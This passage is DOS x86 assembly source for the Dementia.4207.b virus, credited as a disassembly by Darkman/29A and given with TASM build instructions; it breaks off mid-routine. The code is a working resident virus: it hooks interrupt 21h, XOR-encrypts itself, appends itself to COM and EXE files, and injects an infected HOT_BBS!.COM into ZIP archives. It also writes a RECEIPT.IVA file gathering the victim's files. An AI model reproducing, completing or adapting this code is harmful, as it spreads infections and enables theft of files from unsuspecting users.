instruct_ptr dw ? ; Original instruction pointer
code_seg dw ? ; Original code segment
initial_ip dw ? ; Initial IP
initial_cs dw ? ; Initial CS relative to start of ...
code_seg_ dw ? ; Code segment
tst_filesize dw 00h ; Test or don't test filesize
db 'Dementia]',00h
db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h
db 'I am the man that walks alone',0dh,0ah
db 'And when I''m walking a dark road',0dh,0ah
db 'At night or strolling through the park',0dh,0ah
db 'When the light begins to change',0dh,0ah
db 'I sometimes feel a little strange',0dh,0ah
db 'A little anxious when it''s dark',0dh,0ah,00h
crypt_begin:
code_end:
data_end:

end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ
comment *
Dementia.4207.b
Disassembly by
Darkman/29A

Dementia.4207.b is a 4207 bytes parasitic resident COM/EXE/ZIP virus.


Infects files at close file, open file and load and/or execute program by
appending the virus to the infected COM/EXE file and storing in the infected
ZIP file. Dementia.4207.b has an error handler, 16-bit exclusive OR (XOR)
encryption in file and is using archive infection technique.

To compile Dementia.4207.b with Turbo Assembler v 4.0 type:


TASM /M DEMENT_B.ASM
TLINK /x DEMENT_B.OBJ
EXE2BIN DEMENT_B.EXE DEMENT_B.COM
*

.model tiny
.code

code_begin:
call_imm16 equ word ptr $+01h ; Offset of CALL imm16
call prepare_demt
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h

mov cx,(crypt_begin-crypt_end-02h)/02h
std ; Set direction flag
decrypt_key equ word ptr $+01h ; Decryption key
mov dx,00h ; DX = decryption key

push cs cs ; Save segments at stack


pop ds es ; Load segments from stack (CS)
decrypt_loop:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two plain bytes

jmp crypt_end
crypt_end:
loop decrypt_loop

cld ; Clear direction flag


push cs ; Save CS at stack
sub si,(crypt_end-code_begin)
nop
mov cl,04h ; Divide by paragraphs
shr si,cl ; SI = offset of crypt_end in para...
mov ax,cs ; AX = code segment
add ax,si ; Add code segment to delta offset...
push ax ; Save AX at stack

lea ax,virus_begin ; AX = offset of virus_begin


push ax ; Save AX at stack

retf ; Return far!


virus_begin:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

pop ax ; Load AX from stack (CS)


mov [code_seg_],ax ; Store code segment

mov bx,1492h ; Dementia.4207.b function


call close_file
cmp bx,1776h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit

call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit

mov ax,[code_seg_] ; AX = code segment


mov bx,[initial_cs] ; AX = initial CS relative to star...
sub ax,bx ; Subtract initial CS relative to ...
mov dx,ax ; DX = segment of PSP for current ...

mov bx,[code_seg] ; BX = original code segment


add ax,bx ; Add original code segment to seg...
mov [code_seg],ax ; Store original code segment

xchg ax,dx ; AX = segment of current PSP proc...

cli ; Clear interrupt-enable flag


mov bx,[stack_seg] ; BX = original stack segment
add ax,bx ; Add original stack segment to se...
mov ss,ax ; SS = original stack segment

mov ax,[stack_ptr] ; AX = original stack pointer


mov sp,ax ; SP = " " "
sti ; Set interrupt-enable flag

mov ah,62h ; Get current PSP address


int 21h
mov ds,bx ; DS = segment of PSP for current ...
mov es,bx ; ES = segment of PSP for current ...

xor ax,ax ; Zero AX


xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI

jmp dword ptr cs:[instruct_ptr]


vir_com_exit:
mov di,100h ; DI = offset of beginning of code
lea si,origin_code ; SI = offset of origin_code
nop
movsw ; Move the original code to beginning
movsb ; " " " " " "

push es ; Save ES at stack

mov ax,100h ; AX = offset of beginning of code


push ax ; Save AX at stack

xor ax,ax ; Zero AX


xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI

push es ; Save ES at stack


pop ds ; Load DS from stack (ES)

retf ; Return far!

upcase_char proc near ; Upcase character


cmp al,'a' ; Lowcase character?
jl dont_upcase ; Less? Jump to dont_upcase
cmp al,'z' ; Lowcase character?
jg dont_upcase ; Greater? Jump to dont_upcase

sub al,20h ; Upcase character


dont_upcase:
ret ; Return!
endp

int21_virus proc near ; Interrupt 21h of Dementia.4207.b


pushf ; Save flags at stack
cld ; Clear direction flag

cmp ah,3eh ; Close file?


jne tst_open_fil ; Not equal? Jump to tst_open_fil

cmp bx,1492h ; Dementia.4207.b function?


jne tst_open_fil ; Not equal? Jump to tst_open_fil

mov bx,1776h ; Already resident

popf ; Load flags from stack

iret ; Interrupt return!


tst_open_fil:
cmp ah,3dh ; Open file
jne tst_load_and ; Not equal? Jump to tst_load_and

cmp al,0ffh ; Dementia.4207.b function


je dementia_fun ; Equal? Jump to dementia_fun

push ax si ; Save registers at stack


mov si,dx ; SI = offset of filename
find_dot:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je open_fi_exit ; Equal? Jump to open_fi_exit
cmp al,'.' ; Found the dot in the filename
jne find_dot ; Not equal? Jump to find_dot

lodsb ; AL = byte of extension


call upcase_char
cmp al,'C' ; COM executable?
jne tst_exe_exec ; Not equal? Jump to tst_exe_exec

lodsb ; AL = byte of extension


call upcase_char
cmp al,'O' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension


call upcase_char
cmp al,'M' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call inf_com_exe

jmp open_fi_exit
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch

lodsb ; AL = byte of extension


call upcase_char
cmp al,'X' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension


call upcase_char
cmp al,'E' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call inf_com_exe

jmp open_fi_exit
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension


call upcase_char
cmp al,'I' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension


call upcase_char
cmp al,'P' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call infect_zip

jmp open_fi_exit
open_fi_exit:
pop si ax ; Load registers from stack

jmp tst_load_and
dementia_fun:
mov al,02h ; Dementia.4207.b function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit

call inf_com_exe
int21_exit:
popf ; Load flags from stack

jmp cs:[int21_addr]
endp

install proc near ; Allocate memory, move virus to t...


push es ; Save ES at stack

mov ah,52h ; Get list of lists


int 21h

mov ax,es:[bx-02h] ; AX = segment of first memory con...


next_mcb:
mov ds,ax ; DS = segment of current memory c...

mov al,ds:[00h] ; AL = block type


cmp al,'Z' ; Last block in chain?
je allocate_mem ; Equal? Jump to allocate_mem

mov ax,ds ; AX = segment of current memory c...


mov bx,ds:[03h] ; BX = size of memory block in par...
add ax,bx ; Add size of memory block in para...
inc ax ; AX = segment of next memory cont...

jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...

mov ax,ds ; AX = segment of last memory cont...


add ax,bx ; Add new size of memory block in ...
inc ax ; AX = segment of virus
mov es,ax ; ES = " " "

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

xor si,si ; Zero SI


xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory

push es ; Save ES at stack

lea ax,install_ ; AX = offset of install_


push ax ; Save AX at stack

retf ; Return far!


install_:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ax,3521h ; Get interrupt vector 21h


int 21h
mov word ptr [int21_addr+02h],es
mov word ptr [int21_addr],bx

lea dx,int21_virus ; DX = offset of int21_virus


mov ax,2521h ; Set interrupt vector 21h
int 21h

pop es ; Load ES from stack

ret ; Return!
endp

inf_com_exe proc near ; Infect COM/EXE file


push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,06h ; Correct stack pointer

push ax bx cx dx si di ds es

call int24_store

call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit

call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov cx,20h ; Read thirty-two bytes


call read_file

mov ax,ds:[00h] ; AX = EXE signature


cmp ax,'MZ' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
cmp ax,'ZM' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect

call infect_com

jmp call_mark
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load

pop es ds di si dx cx bx ax

mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_zip proc near ; Infect ZIP archive


push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,28h ; Correct stack pointer
push ax bx cx dx si di ds es

xor ax,ax ; Didn't found file


mov [bp-0eh],ax ; Store didn't found HOT_BBS!.COM
mov [bp-10h],ax ; " " " REQUEST.IVA
mov [bp-12h],ax ; " " " RECEIPT.IVA

call int24_store

push dx ds ; Save registers at stack


lea dx,temp_file ; DX = offset of temp_file
nop
call create_file
mov [bp-0ah],ax ; Store file handle of !#TEMP#!
pop ds dx ; Load registers from stack

call open_file
jnc load_info_ ; No error? Jump to load_info_

jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file

call load_info

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
next_lfh_sig:
mov cx,04h ; Read four bytes
call read_file

mov ax,ds:[00h] ; AX = low-order word of file head...


cmp ax,'KP' ; Found low-order word of file ha...?
je test_dir_sig ; Equal? Jump to test_dir_sig

jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh

jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file

mov cx,ds:[16h] ; CX = filename length


mov dx,20h ; DI = offset of filename
call read_file_

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

lea di,request_iva ; DI = offset of request_iva


nop
mov si,20h ; SI = offset of filename
request_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of request_iva

inc di ; Increase index register


cmp ah,00h ; End of filename?
je found_reques ; Equal? Jump to found_reques

cmp ah,al ; Byte of filename equal to byte o...


jne find_callfas ; Not equal? Jump to find_callfas

jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA

xor cx,cx ; Zero CX


xor dx,dx ; Zero DX
call set_pos_cfp
mov [bp-24h],ax ; AX = low-order word of extra field
mov [bp-22h],dx ; DX = high-order word of extra field
find_callfas:
lea di,hot_bbs__com ; DI = offset of hot_bbs__com
nop
mov si,20h ; SI = offset of filename
callfas_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of hot_bbs__com

inc di ; Increase index register

cmp ah,00h ; End of filename?


je found_callfa ; Equal? Jump to found_callfa

cmp ah,al ; Byte of filename equal to byte o...


jne find_receipt ; Not equal? Jump to find_receipt

jmp callfas_loop
found_callfa:
mov ax,01h ; Found HOT_BBS!.COM
mov [bp-0eh],ax ; Store found HOT_BBS!.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva

inc di ; Increase index register

cmp ah,00h ; End of filename?


je found_receip ; Equal? Jump to found_receip

cmp ah,al ; Byte of filename equal to byte o...


jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr

jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit
call set_pos_cfp

jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...

mov bx,[bp-08h] ; BX = file handle of ZIP file


mov cx,2ah ; Read forty-two bytes
call read_file

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


call write_file_

mov cx,ds:[18h] ; CX = filename length


mov bx,ds:[1ah] ; BX = extra field length
add cx,bx ; Add extra field length to filena...
mov bx,ds:[1ch] ; BX = file comment length
add cx,bx ; CX = number of bytes to read

mov bx,[bp-08h] ; BX = file handle of ZIP file


call read_file_

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


call write_file_

mov cx,04h ; Read four bytes


mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_

mov ax,ds:[00h] ; AX = low-order word of end of ce...


cmp ax,'KP' ; Found low-order word of end of ...?
je test_eoc_sig ; Equal? Jump to test_eoc_sig

jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds

jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file

mov ax,ds:[0ch] ; AX = low-order word of offset of...


mov [bp-18h],ax ; Store low-order word of offset o...
mov ax,ds:[0eh] ; AX = high-order word of offset o...
mov [bp-16h],ax ; Store high-order word of offset ...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


call write_file_

mov cx,ds:[10h] ; CX = zipfile comment length


mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_

mov ax,[bp-10h] ; AX = found REQUEST.IVA


or ax,ax ; Didn't found REQUEST.IVA
jz test_callfas ; Zero? Jump to test_callfas

jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found HOT_BBS!.COM
or ax,ax ; Didn't found HOT_BBS!.COM
jz create_file_ ; Zero? Jump to create_file_

jmp call_mark_
create_file_:
lea dx,hot_bbs__com ; DX = offset of hot_bbs__com
nop
call create_file
mov [bp-14h],ax ; Store file handle of HOT_BBS!.COM
mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM

mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_

call close_file

mov ax,01h ; Don't test filesize


mov [tst_filesize],ax ; Store don't test filesize

lea dx,hot_bbs__com ; DX = offset of hot_bbs__com


nop
call inf_com_exe

xor ax,ax ; Test filesize


mov [tst_filesize],ax ; Store test filesize

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

lea si,hot_bbs__com ; SI = offset of hot_bbs__com


nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move HOT_BBS!.COM to filename
open_filenam:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename


nop
call open_file

call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize
call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...

mov bx,[bp-08h] ; BX = file handle of ZIP file


mov cx,[bp-16h] ; CX = high-order word of offset o...
mov dx,[bp-18h] ; DX = low-order word of offset of...
call set_pos_sof_

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov ax,'KP' ; AX = low-order word of local hea...


mov ds:[00h],ax ; Store low-order word of local he...
mov ax,403h ; AX = high-order word of local hea...
mov ds:[02h],ax ; Store high-order word of local he...
mov ax,0ah ; AX = version needed to extract (v...
mov ds:[04h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[06h],ax ; Store general purpose bit flag
mov ds:[08h],ax ; Store compression method (the fil...
mov ax,1801h ; AX = last modified file time
mov ds:[0ah],ax ; Store last modified file time
mov ax,1d01h ; AX = last modified file date
mov ds:[0ch],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[0eh],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[10h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[12h],ax ; Store low-order word of compress...
mov ds:[16h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[14h],ax ; Store high-order word of compres...
mov ds:[18h],ax ; Store high-order word of uncompr...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ah],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length (0 bytes)
mov ds:[1ch],ax ; Store extra field length (0 bytes)

mov cx,1eh ; Write thirty bytes


call write_file

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename


nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM


call set_pos_sof
copy_callfas:
mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je copy_cds_ ; Equal? Jump to copy_cds_

mov cx,ax ; CX = number of bytes actually read


mov bx,[bp-08h] ; BX = file handle of ZIP file
call write_file

jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds

dec ax ; Decrease number of central direc...


mov [bp-0ch],ax ; Store number of central director...

mov ax,'KP' ; AX = low-order word of central d...


mov ds:[00h],ax ; Store low-order word of central ...
mov ax,201h ; AX = high-order word of central ...
mov ds:[02h],ax ; Store high-order word of central...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


mov cx,2ah ; Read forty-two bytes
mov dx,04h ; DX = offset of central directory...
call read_file_

mov cx,ds:[1ch] ; CX = filename length


mov dx,ds:[1eh] ; DX = extra field length
add cx,dx ; Add extra field length to filena...
mov dx,ds:[20h] ; DX = file comment length
add cx,dx ; CX = number of bytes to read

push cx ; Save CX at stack


mov dx,2eh ; DX = offset of central directory...
call read_file_

mov bx,[bp-08h] ; BX = file handle of ZIP file


pop cx ; Load CX from stack
add cx,2eh ; Add size of central directory fi...
call write_file

jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,1801h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1d01h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...

mov bx,[bp-08h] ; BX = file handle of ZIP file


mov cx,2eh ; Write forty-six bytes
call write_file

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename


nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov ax,'KP' ; AX = low-order word of end of ce...


mov ds:[00h],ax ; Store low-order word of end of c...
mov ax,605h ; AX = high-order word of end of c...
mov ds:[02h],ax ; Store high-order word of end of ...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


mov cx,12h ; Read eightteen bytes
mov dx,04h ; DX = offset of end of central di...
call read_file_

mov cx,ds:[14h] ; CX = zipfile comment length


push cx ; Save CX at stack
mov dx,16h ; DX = offset of zipfile comment
call read_file_

mov ax,ds:[08h] ; AX = total number of entries in ...


inc ax ; Increase total number of entries...
mov ds:[08h],ax ; Store total number of entries in...
mov ax,ds:[0ah] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[0ah],ax ; Store total number of entries in...
mov ax,ds:[0ch] ; AX = low-order word of size of t...
mov dx,ds:[0eh] ; DX = high-order word of size of ...
add ax,3ah ; Add size of central directory fi...
nop
adc dx,00h ; Convert to 32-bit
mov ds:[0ch],ax ; Store low-order word of size of ...
mov ds:[0eh],dx ; Store high-order word of size of...
mov ax,ds:[10h] ; AX = low-order word of offset of...
mov dx,ds:[12h] ; DX = high-order word of offset o...
add ax,2ah ; Add size of local file header to...
nop
adc dx,00h ; Convert to 32-bit
mov bx,[bp-1ah] ; BX = high-order word of filesize
add dx,bx ; Add high-order word of filesize ...
mov bx,[bp-1ch] ; BX = low-order word of filesize
add ax,bx ; Add low-order word of filesize t...
adc dx,00h ; Convert to 32-bit
mov ds:[10h],ax ; Store low-order word of offset o...
mov ds:[12h],dx ; Store high-order word of offset ...

mov bx,[bp-08h] ; BX = file handle of ZIP file


pop cx ; Load CX from stack
add cx,16h ; Add size of end of central direc...
call write_file

mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM


call close_file

lea dx,filename ; DX = offset of filename


nop
call delete_file

jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra

jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov es,ax ; ES = segment of data buffer

mov cx,400h ; Read one thousand and twenty-fou...


call read_file

cld ; Clear direction flag


xor si,si ; Zero SI
xor di,di ; Zero DI
lodsw ; AX = word of extra field
cmp ax,1492h ; Found infection mark?
je comp_extra ; Equal? Jump to comp_extra

jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra

jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of filespecification
push ax ; Save AX at stack
decrypt_next:
push cx ; Save CX at stack
mov cx,07h ; Decryption fourteen bytes
decrypt_spec:
lodsw ; AX = word of encrypted file spec...
xor ax,dx ; Decrypt word of file specification
stosw ; Store word of file specification

loop decrypt_spec

pop cx ; Load CX from stack

loop decrypt_next

mov ax,ds ; AX = segment of data buffer


add ax,40h ; AX = segment of pathname
mov es,ax ; ES = " " "

push ds ; Save DS at stack


push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov ah,47h ; Get current directory


xor dl,dl ; Default drive
xor si,si ; Zero SI
int 21h
pop ds ; Load DS from stack

mov ax,es ; AX = segment of pathname


add ax,04h ; AX = segment of end of pathname
mov es,ax ; ES = " " " " "

xor di,di ; Zero DI


mov al,'\' ; AL = backslash
stosb ; Store backslash
xor al,al ; AL = zero
stosb ; Store zero

push es ; Save ES at stack


mov ah,2fh ; Get disk transfer area address
int 21h
mov [bp-26h],es ; Store segment of disk transfer a...
mov [bp-28h],bx ; Store offset of disk transfer ar...
pop es ; Load ES from stack

push ds ; Save DS at stack


mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area

xor dx,dx ; Zero DX


mov ah,1ah ; Set disk transfer area address
int 21h

lea dx,receipt_iva ; DX = offset of receipt_iva


nop
call create_file
mov bx,ax ; BX = file handle of RECEIPT.IVA
mov [bp-14h],ax ; Store file handle of RECEIPT.IVA
pop ds ; Load DS from stack

pop ax ; Load AX from stack


mov dx,01h ; Don't store backslash
call create_recei

mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA


call set_pos_sof

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov es,ax ; ES = " " " " "
encrypt_rece:
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je set_dta_addr ; Equal? Jump to set_dta_addr

push ax ; Save AX at stack


xor dx,dx ; Zero DX
sub dx,ax ; DX = -number of bytes actually read
mov cx,-01h
call set_pos_cfp

pop ax ; Load AX from stack


push ax ; Save AX at stack

mov cx,ax ; CX = number of bytes actually read


xor si,si ; Zero SI
xor di,di ; Zero DI
encrypt_ipt_:
lodsb ; AL = byte of RECEIPT.IVA
xor al,0ffh ; Encrypt byte of RECEIPT.IVA
stosb ; Store encrypted byte of RECEIPT.IVA
loop encrypt_ipt_

pop ax ; Load AX from stack


mov cx,ax ; CX = number of bytes actually read
call write_file

jmp encrypt_rece
set_dta_addr:
call close_file

mov ds,[bp-26h] ; DS = segment of disk transfer area


mov dx,[bp-28h] ; DX = offset of disk transfer area
mov ah,1ah ; Set disk transfer area address
int 21h

mov ax,cs ; AX = code segment


add ax,(code_end-code_begin+0fh)/10h+40h
mov ds,ax ; DS = segment of data buffer

xor dx,dx ; Zero DX


mov ah,3bh ; Set current directory
int 21h

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)
lea si,receipt_iva ; SI = offset of receipt_iva
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move RECEIPT.IVA to filename

jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark

mov bx,[bp-08h] ; BX = file handle of ZIP file


call close_file

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!


call close_file

lea dx,temp_file ; DX = offset of temp_file


nop
call delete_file
inf_zip_exit:
call int24_load

pop es ds di si dx cx bx ax

mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_com proc near ; Infect COM file


push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer

mov ah,00h ; COM executable


nop
nop
mov cs:[com_or_exe],ah ; Store COM executable

mov ax,ds:[00h] ; AX = word of original code of CO...


mov word ptr cs:[origin_code],ax
mov al,ds:[02h] ; AL = byte of original code of CO...
mov cs:[origin_code+02h],al

call encrypt_copy

call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize

push ax ; Save AX at stack


mov ax,cs:[tst_filesize]
cmp ax,01h ; Don't test filesize?
pop ax ; Load AX from stack
je calc_buf_seg ; Equal? Jump to calc_buf_seg

cmp dx,00h ; Filesize too large?


jne inf_com_exit ; Not equal? Jump to inf_com_exit
cmp ax,1000h ; Filesize too small?
jb inf_com_exit ; Below? Jump to inf_com_exit
calc_buf_seg:
add ax,(code_end-code_begin)
jb inf_com_exit ; Filesize too large? Jump to inf_...

mov ax,cs ; AX = code segment


